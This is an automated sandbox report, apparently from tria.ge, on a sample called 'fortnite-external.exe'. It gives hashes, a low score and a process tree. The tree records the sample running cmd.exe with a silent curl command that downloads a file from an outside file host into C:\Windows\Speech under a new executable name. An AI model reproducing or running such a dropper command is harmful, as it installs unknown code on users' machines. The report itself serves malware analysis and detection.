Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

21/09/2024, 08:16

240921-j6g5fasglk 10

Analysis

  • max time kernel
    117s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    21/09/2024, 08:16

General

  • Target

    fortnite-external.exe

  • Size

    392KB

  • MD5

    450270d6a68cf6364e98f16b917a84e6

  • SHA1

    3e89467c9cbc12a76ab77c50913ee45420e16ccc

  • SHA256

    30a300329684903e2ca4a937aacbfb337ab30474aadd40e473ca544e8069c52d

  • SHA512

    27c7b9c03a026ba578d6c71f6805d07a702740ce21f2e738cadb7fd2d455d6b1abf620c5b147ee018494a33376ff4e907bdf8ce0fa76f7970abe6cd03da6b4b6

  • SSDEEP

    6144:whcdTWDsDiY4ElESAtEnESbkaXOahqJiSxRODbGWrZjkmn35GYrZ8RA:fdxE7xr4kmnJ

Score
1/10

Malware Config

Signatures

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fortnite-external.exe
    "C:\Users\Admin\AppData\Local\Temp\fortnite-external.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2492
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/grb4ph.bin --output C:\Windows\Speech\physmeme.exe
      2⤵
        PID:2464

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads